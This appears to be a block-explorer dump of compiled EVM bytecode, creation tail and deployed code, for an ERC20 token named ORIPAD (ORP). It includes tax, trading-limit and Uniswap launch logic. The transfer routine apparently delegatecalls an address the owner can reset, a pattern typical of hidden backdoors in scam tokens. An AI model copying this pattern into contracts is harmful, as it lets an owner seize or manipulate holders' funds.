ffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b5984866120bd90919063ffffffff16565b604051611b669190612322565b60405180910390a350505050565b5f838311158290611bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb291906121f1565b60405180910390fd5b505f8385611bc99190612d3d565b9050809150509392505050565b5f808303611be6575f9050611c47565b5f8284611bf3919061264b565b9050828482611c029190612d9d565b14611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3990612e3d565b60405180910390fd5b809150505b92915050565b5f611c8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612106565b905092915050565b5f8082604051602401611ca9919061244e565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f80835160208501845af450600192505050919050565b5f80823b90505f8111915050919050565b5f818311611d835782611d85565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611dc457611dc3612e5b565b5b604051908082528060200260200182016040528015611df25781602001602082028036833780820191505090505b50905030815f81518110611e0957611e08612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ead573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ed19190612770565b81600181518110611ee557611ee4612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fad959493929190612f6c565b5f604051808303815f87803b158015611fc4575f80fd5b505af1158015611fd6573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561205c573d5f803e3d5ffd5b5050565b5f80828461206e9190612c5b565b9050838110156120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa9061300e565b60405180910390fd5b8091505092915050565b5f6120fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b74565b905092915050565b5f808311829061214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214391906121f1565b60405180910390fd5b505f838561215a9190612d9d565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561219e578082015181840152602081019050612183565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6121c382612167565b6121cd8185612171565b93506121dd818560208601612181565b6121e6816121a9565b840191505092915050565b5f6020820190508181035f83015261220981846121b9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61223e82612215565b9050919050565b61224e81612234565b8114612258575f80fd5b50565b5f8135905061226981612245565b92915050565b5f819050919050565b6122818161226f565b811461228b575f80fd5b50565b5f8135905061229c81612278565b92915050565b5f80604083850312156122b8576122b7612211565b5b5f6122c58582860161225b565b92505060206122d68582860161228e565b9150509250929050565b5f8115159050919050565b6122f4816122e0565b82525050565b5f60208201905061230d5f8301846122eb565b92915050565b61231c8161226f565b82525050565b5f6020820190506123355f830184612313565b92915050565b5f805f6060848603121561235257612351612211565b5b5f61235f8682870161225b565b93505060206123708682870161225b565b92505060406123818682870161228e565b9150509250925092565b5f60ff82169050919050565b6123a08161238b565b82525050565b5f6020820190506123b95f830184612397565b92915050565b6123c8816122e0565b81146123d2575f80fd5b50565b5f813590506123e3816123bf565b92915050565b5f602082840312156123fe576123fd612211565b5b5f61240b848285016123d5565b91505092915050565b5f6020828403121561242957612428612211565b5b5f6124368482850161225b565b91505092915050565b61244881612234565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f806040838503121561247d5761247c612211565b5b5f61248a8582860161225b565b925050602061249b8582860161225b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561252757808604811115612503576125026124a5565b5b60018516156125125780820291505b8081029050612520856124d2565b94506124e7565b94509492505050565b5f8261253f57600190506125fa565b8161254c575f90506125fa565b8160018114612562576002811461256c5761259b565b60019150506125fa565b60ff84111561257e5761257d6124a5565b5b8360020a915084821115612595576125946124a5565b5b506125fa565b5060208310610133831016604e8410600b84101617156125d05782820a9050838111156125cb576125ca6124a5565b5b6125fa565b6125dd84848460016124de565b925090508184048111156125f4576125f36124a5565b5b81810290505b9392505050565b5f61260b8261226f565b91506126168361238b565b92506126437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612530565b905092915050565b5f6126558261226f565b91506126608361226f565b925082820261266e8161226f565b91508282048414831517612685576126846124a5565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6126c0602083612171565b91506126cb8261268c565b602082019050919050565b5f6020820190508181035f8301526126ed816126b4565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612728601783612171565b9150612733826126f4565b602082019050919050565b5f6020820190508181035f8301526127558161271c565b9050919050565b5f8151905061276a81612245565b92915050565b5f6020828403121561278557612784612211565b5b5f6127928482850161275c565b91505092915050565b5f6040820190506127ae5f83018561243f565b6127bb602083018461243f565b9392505050565b5f819050919050565b5f819050919050565b5f6127ee6127e96127e4846127c2565b6127cb565b61226f565b9050919050565b6127fe816127d4565b82525050565b5f60c0820190506128175f83018961243f565b6128246020830188612313565b61283160408301876127f5565b61283e60608301866127f5565b61284b608083018561243f565b61285860a0830184612313565b979650505050505050565b5f8151905061287181612278565b92915050565b5f805f6060848603121561288e5761288d612211565b5b5f61289b86828701612863565b93505060206128ac86828701612863565b92505060406128bd86828701612863565b9150509250925092565b5f6040820190506128da5f83018561243f565b6128e76020830184612313565b9392505050565b5f815190506128fc816123bf565b92915050565b5f6020828403121561291757612916612211565b5b5f612924848285016128ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612987602483612171565b91506129928261292d565b604082019050919050565b5f6020820190508181035f8301526129b48161297b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a15602283612171565b9150612a20826129bb565b604082019050919050565b5f6020820190508181035f830152612a4281612a09565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aa3602583612171565b9150612aae82612a49565b604082019050919050565b5f6020820190508181035f830152612ad081612a97565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b31602383612171565b9150612b3c82612ad7565b604082019050919050565b5f6020820190508181035f830152612b5e81612b25565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bbf602983612171565b9150612bca82612b65565b604082019050919050565b5f6020820190508181035f830152612bec81612bb3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c27601983612171565b9150612c3282612bf3565b602082019050919050565b5f6020820190508181035f830152612c5481612c1b565b9050919050565b5f612c658261226f565b9150612c708361226f565b9250828201905080821115612c8857612c876124a5565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cc2601a83612171565b9150612ccd82612c8e565b602082019050919050565b5f6020820190508181035f830152612cef81612cb6565b9050919050565b5f612d008261226f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3257612d316124a5565b5b600182019050919050565b5f612d478261226f565b9150612d528361226f565b9250828203905081811115612d6a57612d696124a5565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612da78261226f565b9150612db28361226f565b925082612dc257612dc1612d70565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e27602183612171565b9150612e3282612dcd565b604082019050919050565b5f6020820190508181035f830152612e5481612e1b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ee781612234565b82525050565b5f612ef88383612ede565b60208301905092915050565b5f602082019050919050565b5f612f1a82612eb5565b612f248185612ebf565b9350612f2f83612ecf565b805f5b83811015612f5f578151612f468882612eed565b9750612f5183612f04565b925050600181019050612f32565b5085935050505092915050565b5f60a082019050612f7f5f830188612313565b612f8c60208301876127f5565b8181036040830152612f9e8186612f10565b9050612fad606083018561243f565b612fba6080830184612313565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ff8601b83612171565b915061300382612fc4565b602082019050919050565b5f6020820190508181035f83015261302581612fec565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ced90f740058114a222301e670e1b3e4ff4e3940222d760fa9919a10b169a60864736f6c63430008150033

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063751039fc1161009f578063a3312bf611610063578063a3312bf61461037a578063a9059cbb146103a2578063bf474bed146103de578063c9567bf914610408578063dd62ed3e1461041e5761011e565b8063751039fc146102bc5780637d1db4a5146102d25780638da5cb5b146102fc5780638f9a55c01461032657806395d89b41146103505761011e565b806323b872dd116100e657806323b872dd146101dc578063313ce567146102185780637023aea31461024257806370a082311461026a578063715018a6146102a65761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b5061013661045a565b60405161014391906121f1565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d91906122a2565b610497565b60405161017f91906122fa565b60405180910390f35b348015610193575f80fd5b5061019c6104b4565b6040516101a99190612322565b60405180910390f35b3480156101bd575f80fd5b506101c66104ba565b6040516101d39190612322565b60405180910390f35b3480156101e7575f80fd5b5061020260048036038101906101fd919061233b565b6104dc565b60405161020f91906122fa565b60405180910390f35b348015610223575f80fd5b5061022c6105b0565b60405161023991906123a6565b60405180910390f35b34801561024d575f80fd5b50610268600480360381019061026391906123e9565b6105b8565b005b348015610275575f80fd5b50610290600480360381019061028b9190612414565b610669565b60405161029d9190612322565b60405180910390f35b3480156102b1575f80fd5b506102ba6106af565b005b3480156102c7575f80fd5b506102d06107fd565b005b3480156102dd575f80fd5b506102e6610929565b6040516102f39190612322565b60405180910390f35b348015610307575f80fd5b5061031061092f565b60405161031d919061244e565b60405180910390f35b348015610331575f80fd5b5061033a610956565b6040516103479190612322565b60405180910390f35b34801561035b575f80fd5b5061036461095c565b60405161037191906121f1565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612414565b610999565b005b3480156103ad575f80fd5b506103c860048036038101906103c391906122a2565b610a70565b6040516103d591906122fa565b60405180910390f35b3480156103e9575f80fd5b506103f2610a8d565b6040516103ff9190612322565b60405180910390f35b348015610413575f80fd5b5061041c610a93565b005b348015610429575f80fd5b50610444600480360381019061043f9190612467565b610fed565b6040516104519190612322565b60405180910390f35b60606040518060400160405280600681526020017f4f52495041440000000000000000000000000000000000000000000000000000815250905090565b5f6104aa6104a361106f565b8484611076565b6001905092915050565b60115481565b5f6009600a6104c99190612601565b620f42406104d7919061264b565b905090565b5f6104e8848484611239565b6105a5846104f461106f565b6105a08560405180606001604052806028815260200161302d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61055761106f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b749092919063ffffffff16565b611076565b600190509392505050565b5f6009905090565b6105c061106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610643906126d6565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106b761106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a906126d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61080561106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610891576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610888906126d6565b60405180910390fd5b6009600a61089f9190612601565b620f42406108ad919061264b565b600e819055506009600a6108c19190612601565b620f42406108cf919061264b565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109049190612601565b620f4240610912919061264b565b60405161091f9190612322565b60405180910390a1565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600381526020017f4f52500000000000000000000000000000000000000000000000000000000000815250905090565b6109a161106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a24906126d6565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610a83610a7c61106f565b8484611239565b6001905092915050565b60105481565b610a9b61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1e906126d6565b60405180910390fd5b60148054906101000a900460ff1615610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c9061273e565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c2b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c189190612601565b620f4240610c26919061264b565b611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb99190612770565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d639190612770565b6040518363ffffffff1660e01b8152600401610d8092919061279b565b6020604051808303815f875af1158015610d9c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc09190612770565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e4730610669565b5f80610e5161092f565b426040518863ffffffff1660e01b8152600401610e7396959493929190612804565b60606040518083038185885af1158015610e8f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610eb49190612877565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f549291906128c7565b6020604051808303815f875af1158015610f70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f949190612902565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db9061299d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990612a2b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122c9190612322565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612ab9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612b47565b60405180910390fd5b5f8111611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612bd5565b60405180910390fd5b5f61136061092f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113ce575061139e61092f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118ab5761140f6064611401600a54600d54116113ee576006546113f2565b6008545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114ba575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561150d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561151e575061151d83611c96565b5b1561160157600e54821115611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612c3d565b60405180910390fd5b600f548261157585610669565b61157f9190612c5b565b11156115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b790612cd8565b60405180910390fd5b4360036005546115d09190612c5b565b11156115e9576115df83611d64565b156115e8575f80fd5b5b600d5f8154809291906115fb90612cf6565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561170357600f54826116b785610669565b6116c19190612c5b565b1115611702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f990612cd8565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178b57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117cf576117cc60646117be600b54600d54116117ab576007546117af565b6009545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b90505b5f6117d930610669565b9050601460159054906101000a900460ff16158015611844575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561185c5750601460169054906101000a900460ff165b8015611869575060105481115b80156118785750600c54600d54115b156118a95761189161188c82601154611d75565b611d8d565b5f4790505f8111156118a7576118a647611ff8565b5b505b505b601460179054906101000a900460ff16156118c4575f90505b5f8111156119c35761191c8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119ba9190612322565b60405180910390a35b611a138260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ab6611a6a82846120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b5984866120bd90919063ffffffff16565b604051611b669190612322565b60405180910390a350505050565b5f838311158290611bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb291906121f1565b60405180910390fd5b505f8385611bc99190612d3d565b9050809150509392505050565b5f808303611be6575f9050611c47565b5f8284611bf3919061264b565b9050828482611c029190612d9d565b14611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3990612e3d565b60405180910390fd5b809150505b92915050565b5f611c8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612106565b905092915050565b5f8082604051602401611ca9919061244e565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f80835160208501845af450600192505050919050565b5f80823b90505f8111915050919050565b5f818311611d835782611d85565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611dc457611dc3612e5b565b5b604051908082528060200260200182016040528015611df25781602001602082028036833780820191505090505b50905030815f81518110611e0957611e08612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ead573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ed19190612770565b81600181518110611ee557611ee4612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fad959493929190612f6c565b5f604051808303815f87803b158015611fc4575f80fd5b505af1158015611fd6573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561205c573d5f803e3d5ffd5b5050565b5f80828461206e9190612c5b565b9050838110156120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa9061300e565b60405180910390fd5b8091505092915050565b5f6120fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b74565b905092915050565b5f808311829061214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214391906121f1565b60405180910390fd5b505f838561215a9190612d9d565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561219e578082015181840152602081019050612183565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6121c382612167565b6121cd8185612171565b93506121dd818560208601612181565b6121e6816121a9565b840191505092915050565b5f6020820190508181035f83015261220981846121b9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61223e82612215565b9050919050565b61224e81612234565b8114612258575f80fd5b50565b5f8135905061226981612245565b92915050565b5f819050919050565b6122818161226f565b811461228b575f80fd5b50565b5f8135905061229c81612278565b92915050565b5f80604083850312156122b8576122b7612211565b5b5f6122c58582860161225b565b92505060206122d68582860161228e565b9150509250929050565b5f8115159050919050565b6122f4816122e0565b82525050565b5f60208201905061230d5f8301846122eb565b92915050565b61231c8161226f565b82525050565b5f6020820190506123355f830184612313565b92915050565b5f805f6060848603121561235257612351612211565b5b5f61235f8682870161225b565b93505060206123708682870161225b565b92505060406123818682870161228e565b9150509250925092565b5f60ff82169050919050565b6123a08161238b565b82525050565b5f6020820190506123b95f830184612397565b92915050565b6123c8816122e0565b81146123d2575f80fd5b50565b5f813590506123e3816123bf565b92915050565b5f602082840312156123fe576123fd612211565b5b5f61240b848285016123d5565b91505092915050565b5f6020828403121561242957612428612211565b5b5f6124368482850161225b565b91505092915050565b61244881612234565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f806040838503121561247d5761247c612211565b5b5f61248a8582860161225b565b925050602061249b8582860161225b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561252757808604811115612503576125026124a5565b5b60018516156125125780820291505b8081029050612520856124d2565b94506124e7565b94509492505050565b5f8261253f57600190506125fa565b8161254c575f90506125fa565b8160018114612562576002811461256c5761259b565b60019150506125fa565b60ff84111561257e5761257d6124a5565b5b8360020a915084821115612595576125946124a5565b5b506125fa565b5060208310610133831016604e8410600b84101617156125d05782820a9050838111156125cb576125ca6124a5565b5b6125fa565b6125dd84848460016124de565b925090508184048111156125f4576125f36124a5565b5b81810290505b9392505050565b5f61260b8261226f565b91506126168361238b565b92506126437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612530565b905092915050565b5f6126558261226f565b91506126608361226f565b925082820261266e8161226f565b91508282048414831517612685576126846124a5565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6126c0602083612171565b91506126cb8261268c565b602082019050919050565b5f6020820190508181035f8301526126ed816126b4565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612728601783612171565b9150612733826126f4565b602082019050919050565b5f6020820190508181035f8301526127558161271c565b9050919050565b5f8151905061276a81612245565b92915050565b5f6020828403121561278557612784612211565b5b5f6127928482850161275c565b91505092915050565b5f6040820190506127ae5f83018561243f565b6127bb602083018461243f565b9392505050565b5f819050919050565b5f819050919050565b5f6127ee6127e96127e4846127c2565b6127cb565b61226f565b9050919050565b6127fe816127d4565b82525050565b5f60c0820190506128175f83018961243f565b6128246020830188612313565b61283160408301876127f5565b61283e60608301866127f5565b61284b608083018561243f565b61285860a0830184612313565b979650505050505050565b5f8151905061287181612278565b92915050565b5f805f6060848603121561288e5761288d612211565b5b5f61289b86828701612863565b93505060206128ac86828701612863565b92505060406128bd86828701612863565b9150509250925092565b5f6040820190506128da5f83018561243f565b6128e76020830184612313565b9392505050565b5f815190506128fc816123bf565b92915050565b5f6020828403121561291757612916612211565b5b5f612924848285016128ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f72657373000000000000000000000000000000000000000000000000000000006020820152